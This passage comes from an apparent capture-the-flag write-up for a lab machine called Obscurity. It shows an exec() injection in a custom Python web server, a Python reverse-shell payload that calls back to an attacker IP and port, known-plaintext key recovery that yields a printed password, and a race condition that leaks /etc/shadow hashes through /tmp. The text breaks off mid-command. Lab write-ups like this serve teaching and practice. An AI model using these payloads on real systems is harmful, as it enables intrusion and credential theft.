class=\"m\">9000<\/span>\/tcp<span class=\"w\"> <\/span>closed<span class=\"w\"> <\/span>cslistener\n\nRead<span class=\"w\"> <\/span>data<span class=\"w\"> <\/span>files<span class=\"w\"> <\/span>from:<span class=\"w\"> <\/span>\/usr\/bin\/..\/share\/nmap\n<span class=\"c1\"># Nmap done at Fri Jan 10 12:57:35 2020 -- 1 IP address (1 host up) scanned in 29.44 seconds<\/span>\n<\/code><\/pre><\/div>\n\n<p>Checking port 8080 on the server, we find the following text:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nt\">Here<\/span><span class=\"w\"> <\/span><span class=\"nt\">at<\/span><span class=\"w\"> <\/span><span class=\"nt\">0bscura<\/span><span class=\"o\">,<\/span><span class=\"w\"> <\/span><span class=\"nt\">we<\/span><span class=\"w\"> <\/span><span class=\"nt\">take<\/span><span class=\"w\"> <\/span><span class=\"nt\">a<\/span><span class=\"w\"> <\/span><span class=\"nt\">unique<\/span><span class=\"w\"> <\/span><span class=\"nt\">approach<\/span><span class=\"w\"> <\/span><span class=\"nt\">to<\/span><span class=\"w\"> <\/span><span class=\"nt\">security<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nt\">you<\/span><span class=\"w\"> <\/span><span class=\"nt\">can<\/span><span class=\"s1\">&#39;t be hacked if attackers don&#39;<\/span><span class=\"nt\">t<\/span><span class=\"w\"> <\/span><span class=\"nt\">know<\/span><span class=\"w\"> <\/span><span class=\"nt\">what<\/span><span class=\"w\"> <\/span><span class=\"nt\">software<\/span><span class=\"w\"> <\/span><span class=\"nt\">you<\/span><span class=\"s1\">&#39;re using!<\/span>\n\n<span class=\"s1\">That&#39;<\/span><span class=\"nt\">s<\/span><span class=\"w\"> <\/span><span class=\"nt\">why<\/span><span class=\"w\"> <\/span><span class=\"nt\">our<\/span><span class=\"w\"> <\/span><span class=\"nt\">motto<\/span><span class=\"w\"> <\/span><span class=\"nt\">is<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;security through obscurity&#39;<\/span><span class=\"o\">;<\/span><span class=\"w\"> <\/span><span class=\"nt\">we<\/span><span class=\"w\"> <\/span><span class=\"nt\">write<\/span><span class=\"w\"> <\/span><span class=\"nt\">all<\/span><span class=\"w\"> <\/span><span class=\"nt\">our<\/span><span class=\"w\"> <\/span><span class=\"nt\">own<\/span><span class=\"w\"> <\/span><span class=\"nt\">software<\/span><span class=\"w\"> <\/span><span class=\"nt\">from<\/span><span class=\"w\"> <\/span><span class=\"nt\">scratch<\/span><span class=\"o\">,<\/span><span class=\"w\"> <\/span><span class=\"nt\">even<\/span><span class=\"w\"> <\/span><span class=\"nt\">the<\/span><span class=\"w\"> <\/span><span class=\"nt\">webserver<\/span><span class=\"w\"> <\/span><span class=\"nt\">this<\/span><span class=\"w\"> <\/span><span class=\"nt\">is<\/span><span class=\"w\"> <\/span><span class=\"nt\">running<\/span><span class=\"w\"> <\/span><span class=\"nt\">on<\/span><span class=\"o\">!<\/span><span class=\"w\"> <\/span><span class=\"nt\">This<\/span><span class=\"w\"> <\/span><span class=\"nt\">means<\/span><span class=\"w\"> <\/span><span class=\"nt\">that<\/span><span class=\"w\"> <\/span><span class=\"nt\">no<\/span><span class=\"w\"> <\/span><span class=\"nt\">exploits<\/span><span class=\"w\"> <\/span><span class=\"nt\">can<\/span><span class=\"w\"> <\/span><span class=\"nt\">possibly<\/span><span class=\"w\"> <\/span><span class=\"nt\">exist<\/span><span class=\"w\"> <\/span><span class=\"nt\">for<\/span><span class=\"w\"> <\/span><span class=\"nt\">it<\/span><span class=\"o\">,<\/span><span class=\"w\"> <\/span><span class=\"nt\">which<\/span><span class=\"w\"> <\/span><span class=\"nt\">means<\/span><span class=\"w\"> <\/span><span class=\"nt\">it<\/span><span class=\"err\">&#39;<\/span><span class=\"nt\">s<\/span><span class=\"w\"> <\/span><span class=\"nt\">totally<\/span><span class=\"w\"> <\/span><span class=\"nt\">secure<\/span><span class=\"o\">!<\/span>\n<\/code><\/pre><\/div>\n\n<p>Challenge accepted. The developer message mentions a file: <code>SuperSecureServer.py<\/code>. Let's see whether we can find the code by assuming it's one directory deep in the server's file structure. For that, we can use <code>wfuzz<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wfuzz<span class=\"w\"> <\/span>-w<span class=\"w\"> <\/span>\/usr\/share\/wordlists\/wfuzz\/general\/big.txt<span class=\"w\"> <\/span>--hc<span class=\"w\"> <\/span><span class=\"m\">404<\/span><span class=\"w\"> <\/span>http:\/\/10.10.10.168:8080\/FUZZ\/SuperSecureServer.py\n********************************************************\n*<span class=\"w\"> <\/span>Wfuzz<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.4.2<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>The<span class=\"w\"> <\/span>Web<span class=\"w\"> <\/span>Fuzzer<span class=\"w\">                         <\/span>*\n********************************************************\n\nTarget:<span class=\"w\"> <\/span>http:\/\/10.10.10.168:8080\/FUZZ\/SuperSecureServer.py\nTotal<span class=\"w\"> <\/span>requests:<span class=\"w\"> <\/span><span class=\"nv\">3024<\/span>\n\n<span class=\"o\">===================================================================<\/span>\nID<span class=\"w\">           <\/span>Response<span class=\"w\">   <\/span>Lines<span class=\"w\">    <\/span>Word<span class=\"w\">     <\/span>Chars<span class=\"w\">       <\/span><span class=\"nv\">Payload<\/span>\n<span class=\"o\">===================================================================<\/span>\n\n<span class=\"m\">000000829<\/span>:<span class=\"w\">   <\/span><span class=\"m\">200<\/span><span class=\"w\">        <\/span><span class=\"m\">170<\/span><span class=\"w\"> <\/span>L<span class=\"w\">    <\/span><span class=\"m\">498<\/span><span class=\"w\"> <\/span>W<span class=\"w\">    <\/span><span class=\"m\">5892<\/span><span class=\"w\"> <\/span>Ch<span class=\"w\">     <\/span><span class=\"s2\">&quot;develop&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p>Bingo. Now we can download the server's code at <code>http:\/\/10.10.10.168:8080\/develop\/SuperSecureServer.py<\/code>. Browsing through it, there is a method of note:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>    <span class=\"k\">def<\/span> <span class=\"nf\">serveDoc<\/span><span class=\"p\">(<\/span><span class=\"bp\">self<\/span><span class=\"p\">,<\/span> <span class=\"n\">path<\/span><span class=\"p\">,<\/span> <span class=\"n\">docRoot<\/span><span class=\"p\">):<\/span>\n        <span class=\"n\">path<\/span> <span class=\"o\">=<\/span> <span class=\"n\">urllib<\/span><span class=\"o\">.<\/span><span class=\"n\">parse<\/span><span class=\"o\">.<\/span><span class=\"n\">unquote<\/span><span class=\"p\">(<\/span><span class=\"n\">path<\/span><span class=\"p\">)<\/span>\n        <span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n            <span class=\"n\">info<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;output = &#39;Document: <\/span><span class=\"si\">{}<\/span><span class=\"s2\">&#39;&quot;<\/span> <span class=\"c1\"># Keep the output for later debug<\/span>\n            <span class=\"n\">exec<\/span><span class=\"p\">(<\/span><span class=\"n\">info<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span><span class=\"n\">path<\/span><span class=\"p\">))<\/span> <span class=\"c1\"># This is how you do string formatting, right?<\/span>\n            <span class=\"n\">cwd<\/span> <span class=\"o\">=<\/span> <span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">dirname<\/span><span class=\"p\">(<\/span><span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">realpath<\/span><span class=\"p\">(<\/span><span class=\"vm\">__file__<\/span><span class=\"p\">))<\/span>\n            <span class=\"n\">docRoot<\/span> <span class=\"o\">=<\/span> <span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">(<\/span><span class=\"n\">cwd<\/span><span class=\"p\">,<\/span> <span class=\"n\">docRoot<\/span><span class=\"p\">)<\/span>\n            <span class=\"k\">if<\/span> <span class=\"n\">path<\/span> <span class=\"o\">==<\/span> <span class=\"s2\">&quot;\/&quot;<\/span><span class=\"p\">:<\/span>\n                <span class=\"n\">path<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;\/index.html&quot;<\/span>\n            <span class=\"n\">requested<\/span> <span class=\"o\">=<\/span> <span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">(<\/span><span class=\"n\">docRoot<\/span><span class=\"p\">,<\/span> <span class=\"n\">path<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">:])<\/span>\n<\/code><\/pre><\/div>\n\n<p>Obviously, the <code>exec<\/code> call here is alarming. It allows us to execute arbitrary code with server-level privileges. To accomplish this, we simply need to terminate the <code>info<\/code> variable's encoded string and add any code we want to run afterward. I have taken a standard Python TCP reverse shell payload and updated it to accommodate the faulty string parsing. The result:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"s1\">&#39;;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.14.9&quot;,4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;\/bin\/bash&quot;);s=&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<p>We can now URL-encode this payload and make the call to the server to inject our code into the server's runtime:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>http<span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span><span class=\"s2\">&quot;http:\/\/10.10.10.168:8080\/%27%3Bimport%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.9%22%2C4242%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%3Bs%3D%27&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p>With our netcat listener on local port 4242, we now receive an incoming connection as the user <code>obscure<\/code>. Scanning through the filesystem, we find an unprotected home directory owned by the user <code>robert<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>drwxr-xr-x<span class=\"w\"> <\/span><span class=\"m\">7<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Dec<span class=\"w\">  <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span><span class=\"m\">09<\/span>:53<span class=\"w\"> <\/span>.\ndrwxr-xr-x<span class=\"w\"> <\/span><span class=\"m\">3<\/span><span class=\"w\"> <\/span>root<span class=\"w\">   <\/span>root<span class=\"w\">   <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Sep<span class=\"w\"> <\/span><span class=\"m\">24<\/span><span class=\"w\"> <\/span><span class=\"m\">22<\/span>:09<span class=\"w\"> <\/span>..\nlrwxrwxrwx<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\">    <\/span><span class=\"m\">9<\/span><span class=\"w\"> <\/span>Sep<span class=\"w\"> <\/span><span class=\"m\">28<\/span><span class=\"w\"> <\/span><span class=\"m\">23<\/span>:28<span class=\"w\"> <\/span>.bash_history<span class=\"w\"> <\/span>-&gt;<span class=\"w\"> <\/span>\/dev\/null\n-rw-r--r--<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\">  <\/span><span class=\"m\">220<\/span><span class=\"w\"> <\/span>Apr<span class=\"w\">  <\/span><span class=\"m\">4<\/span><span class=\"w\">  <\/span><span class=\"m\">2018<\/span><span class=\"w\"> <\/span>.bash_logout\n-rw-r--r--<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span><span class=\"m\">3771<\/span><span class=\"w\"> <\/span>Apr<span class=\"w\">  <\/span><span class=\"m\">4<\/span><span class=\"w\">  <\/span><span class=\"m\">2018<\/span><span class=\"w\"> <\/span>.bashrc\ndrwxr-xr-x<span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span>root<span class=\"w\">   <\/span>root<span class=\"w\">   <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Dec<span class=\"w\">  <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span><span class=\"m\">09<\/span>:47<span class=\"w\"> <\/span>BetterSSH\ndrwx------<span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\">  <\/span><span class=\"m\">3<\/span><span class=\"w\"> <\/span><span class=\"m\">16<\/span>:02<span class=\"w\"> <\/span>.cache\n-rw-rw-r--<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\">   <\/span><span class=\"m\">94<\/span><span class=\"w\"> <\/span>Sep<span class=\"w\"> <\/span><span class=\"m\">26<\/span><span class=\"w\"> <\/span><span class=\"m\">23<\/span>:08<span class=\"w\"> <\/span>check.txt\ndrwxr-x---<span class=\"w\"> <\/span><span class=\"m\">3<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Dec<span class=\"w\">  <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span><span class=\"m\">09<\/span>:53<span class=\"w\"> <\/span>.config\ndrwx------<span class=\"w\"> <\/span><span class=\"m\">3<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\">  <\/span><span class=\"m\">3<\/span><span class=\"w\"> <\/span><span class=\"m\">22<\/span>:42<span class=\"w\"> <\/span>.gnupg\ndrwxrwxr-x<span class=\"w\"> <\/span><span class=\"m\">3<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span><span class=\"m\">4096<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\">  <\/span><span class=\"m\">3<\/span><span class=\"w\"> <\/span><span class=\"m\">16<\/span>:34<span class=\"w\"> <\/span>.local\n-rw-rw-r--<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\">  <\/span><span class=\"m\">185<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\">  <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span><span class=\"m\">15<\/span>:01<span class=\"w\"> <\/span>out.txt\n-rw-rw-r--<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\">   <\/span><span class=\"m\">27<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\">  <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span><span class=\"m\">15<\/span>:01<span class=\"w\"> <\/span>passwordreminder.txt\n-rw-r--r--<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\">  <\/span><span class=\"m\">807<\/span><span class=\"w\"> <\/span>Apr<span class=\"w\">  <\/span><span class=\"m\">4<\/span><span class=\"w\">  <\/span><span class=\"m\">2018<\/span><span class=\"w\"> <\/span>.profile\n-rwxrwxr-x<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span><span class=\"m\">2514<\/span><span class=\"w\"> <\/span>Oct<span class=\"w\">  <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:55<span class=\"w\"> <\/span>SuperSecureCrypt.py\n-rwx------<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>robert<span class=\"w\"> <\/span>robert<span class=\"w\">   <\/span><span class=\"m\">33<\/span><span class=\"w\"> <\/span>Sep<span class=\"w\"> <\/span><span class=\"m\">25<\/span><span class=\"w\"> <\/span><span class=\"m\">14<\/span>:12<span class=\"w\"> <\/span>user.txt\n<\/code><\/pre><\/div>\n\n<p>The <code>passwordreminder.txt<\/code> and <code>out.txt<\/code> files are encrypted. Luckily, the <code>check.txt<\/code> file gives us the plaintext, which allows us to recover the key. With the plaintext:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>Encrypting this file with your key should result in out.txt, make sure your key is correct!\n<\/code><\/pre><\/div>\n\n<p>We assume that the key is repeated, and key bytes are added onto the plaintext bytes (wrapping around 255 to stay in the valid ASCII range). Our proof-of-concept attack will simply subtract the ciphertext from the cleartext bytes in the same fashion, and what's left should be our key. In an ipython session, we write up some quick code:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">5<\/span><span class=\"p\">]:<\/span> <span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;out.txt&quot;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">f<\/span><span class=\"p\">:<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"n\">encrypted<\/span> <span class=\"o\">=<\/span> <span class=\"n\">f<\/span><span class=\"o\">.<\/span><span class=\"n\">read<\/span><span class=\"p\">()<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">6<\/span><span class=\"p\">]:<\/span> <span class=\"n\">cleartext<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;Encrypting this file with your key should result in out.txt, make sure your key is correct!&quot;<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">7<\/span><span class=\"p\">]:<\/span> <span class=\"k\">def<\/span> <span class=\"nf\">decrypt<\/span><span class=\"p\">(<\/span><span class=\"n\">text<\/span><span class=\"p\">,<\/span> <span class=\"n\">key<\/span><span class=\"p\">):<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"n\">keylen<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">key<\/span><span class=\"p\">)<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"n\">keyPos<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"n\">decrypted<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;&quot;<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"k\">for<\/span> <span class=\"n\">x<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">text<\/span><span class=\"p\">:<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>         <span class=\"n\">keyChr<\/span> <span class=\"o\">=<\/span> <span class=\"n\">key<\/span><span class=\"p\">[<\/span><span class=\"n\">keyPos<\/span><span class=\"p\">]<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>         <span class=\"n\">newChr<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">ord<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">)<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>         <span class=\"n\">newChr<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">chr<\/span><span class=\"p\">((<\/span><span class=\"n\">newChr<\/span> <span class=\"o\">-<\/span> <span class=\"nb\">ord<\/span><span class=\"p\">(<\/span><span class=\"n\">keyChr<\/span><span class=\"p\">))<\/span> <span class=\"o\">%<\/span> <span class=\"mi\">255<\/span><span class=\"p\">)<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>         <span class=\"n\">decrypted<\/span> <span class=\"o\">+=<\/span> <span class=\"n\">newChr<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>         <span class=\"n\">keyPos<\/span> <span class=\"o\">+=<\/span> <span class=\"mi\">1<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>         <span class=\"n\">keyPos<\/span> <span class=\"o\">=<\/span> <span class=\"n\">keyPos<\/span> <span class=\"o\">%<\/span> <span class=\"n\">keylen<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>     <span class=\"k\">return<\/span> <span class=\"n\">decrypted<\/span>\n   <span class=\"o\">...<\/span><span class=\"p\">:<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">8<\/span><span class=\"p\">]:<\/span> <span class=\"n\">decrypt<\/span><span class=\"p\">(<\/span><span class=\"n\">encrypted<\/span><span class=\"p\">,<\/span> <span class=\"n\">cleartext<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">8<\/span><span class=\"p\">]:<\/span> <span class=\"s1\">&#39;alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich&lt;<\/span><span class=\"se\">\\x08<\/span><span class=\"s1\">&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<p>The attack leaves us with the key <code>alexandrovich<\/code>. With the server executable, we can now proceed to decode the password\nreminder file:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>python3<span class=\"w\"> <\/span>SuperSecureCrypt.py<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>passwordreminder.txt<span class=\"w\"> <\/span>-k<span class=\"w\"> <\/span>alexandrovich<span class=\"w\"> <\/span>-o<span class=\"w\"> <\/span>decoded.txt<span class=\"w\"> <\/span>-d\n<span class=\"c1\">################################<\/span>\n<span class=\"c1\">#           BEGINNING          #<\/span>\n<span class=\"c1\">#    SUPER SECURE ENCRYPTOR    #<\/span>\n<span class=\"c1\">################################<\/span>\n<span class=\"w\">  <\/span><span class=\"c1\">############################<\/span>\n<span class=\"w\">  <\/span><span class=\"c1\">#        FILE MODE         #<\/span>\n<span class=\"w\">  <\/span><span class=\"c1\">############################<\/span>\nOpening<span class=\"w\"> <\/span>file<span class=\"w\"> <\/span>passwordreminder.txt...\nDecrypting...\nWriting<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>decoded.txt...Password<span class=\"w\"> <\/span>reminder:\nSecThruObsFTW\n<\/code><\/pre><\/div>\n\n<p>This is not just a password reminder but the actual password for <code>robert<\/code>. Logging in as him allows us to get the user flag in his home directory. A quick look at his sudo permission gives us the next interesting escalation vector:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>sudo<span class=\"w\"> <\/span>-l\n<span class=\"o\">(<\/span>ALL<span class=\"o\">)<\/span><span class=\"w\"> <\/span>NOPASSWD:<span class=\"w\"> <\/span>\/usr\/bin\/python3<span class=\"w\"> <\/span>\/home\/robert\/BetterSSH\/BetterSSH.py\n<\/code><\/pre><\/div>\n\n<p>Trying to execute the program, we get an error, however:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>sudo<span class=\"w\"> <\/span>\/usr\/bin\/python3<span class=\"w\"> <\/span>\/home\/robert\/BetterSSH\/BetterSSH.py\nEnter<span class=\"w\"> <\/span>username:<span class=\"w\"> <\/span>root\nEnter<span class=\"w\"> <\/span>password:\nTraceback<span class=\"w\"> <\/span><span class=\"o\">(<\/span>most<span class=\"w\"> <\/span>recent<span class=\"w\"> <\/span>call<span class=\"w\"> <\/span>last<span class=\"o\">)<\/span>:\n<span class=\"w\">  <\/span>File<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/home\/robert\/BetterSSH\/BetterSSH.py&quot;<\/span>,<span class=\"w\"> <\/span>line<span class=\"w\"> <\/span><span class=\"m\">24<\/span>,<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>&lt;module&gt;\n<span class=\"w\">    <\/span>with<span class=\"w\"> <\/span>open<span class=\"o\">(<\/span><span class=\"s1\">&#39;\/tmp\/SSH\/&#39;<\/span>+path,<span class=\"w\"> <\/span><span class=\"s1\">&#39;w&#39;<\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span>as<span class=\"w\"> <\/span>f:\nFileNotFoundError:<span class=\"w\"> <\/span><span class=\"o\">[<\/span>Errno<span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"o\">]<\/span><span class=\"w\"> <\/span>No<span class=\"w\"> <\/span>such<span class=\"w\"> <\/span>file<span class=\"w\"> <\/span>or<span class=\"w\"> <\/span>directory:<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/tmp\/SSH\/rTO4rmUa&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<p>No problem, we'll just create the directory <code>\/tmp\/SSH<\/code>. In the <code>BetterSSH<\/code> script, we can exploit a race condition where the shadow file's password hashes are leaking in the temp directory. In the server code:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>    <span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;\/etc\/shadow&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;r&#39;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">f<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">data<\/span> <span class=\"o\">=<\/span> <span class=\"n\">f<\/span><span class=\"o\">.<\/span><span class=\"n\">readlines<\/span><span class=\"p\">()<\/span>\n    <span class=\"n\">data<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[(<\/span><span class=\"n\">p<\/span><span class=\"o\">.<\/span><span class=\"n\">split<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;:&quot;<\/span><span class=\"p\">)<\/span> <span class=\"k\">if<\/span> <span class=\"s2\">&quot;$&quot;<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">p<\/span> <span class=\"k\">else<\/span> <span class=\"kc\">None<\/span><span class=\"p\">)<\/span> <span class=\"k\">for<\/span> <span class=\"n\">p<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">data<\/span><span class=\"p\">]<\/span>\n    <span class=\"n\">passwords<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[]<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">x<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">data<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">x<\/span> <span class=\"o\">==<\/span> <span class=\"kc\">None<\/span><span class=\"p\">:<\/span>\n            <span class=\"n\">passwords<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"n\">passwordFile<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;<\/span><span class=\"se\">\\n<\/span><span class=\"s1\">&#39;<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">([<\/span><span class=\"s1\">&#39;<\/span><span class=\"se\">\\n<\/span><span class=\"s1\">&#39;<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">(<\/span><span class=\"n\">p<\/span><span class=\"p\">)<\/span> <span class=\"k\">for<\/span> <span class=\"n\">p<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">passwords<\/span><span class=\"p\">])<\/span>\n    <span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;\/tmp\/SSH\/&#39;<\/span><span class=\"o\">+<\/span><span class=\"n\">path<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;w&#39;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">f<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">f<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"n\">passwordFile<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">time<\/span><span class=\"o\">.<\/span><span class=\"n\">sleep<\/span><span class=\"p\">(<\/span><span class=\"mf\">.1<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>So we launch a second SSH session as <code>robert<\/code> where we execute the following one-liner trying to dump the contents:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">while<\/span><span class=\"w\"> <\/span>true<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>f<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"sb\">`<\/span>ls<span class=\"w\"> <\/span>\/tmp\/SSH<span class=\"sb\">`<\/span><span class=\"p\">;<\/span><span 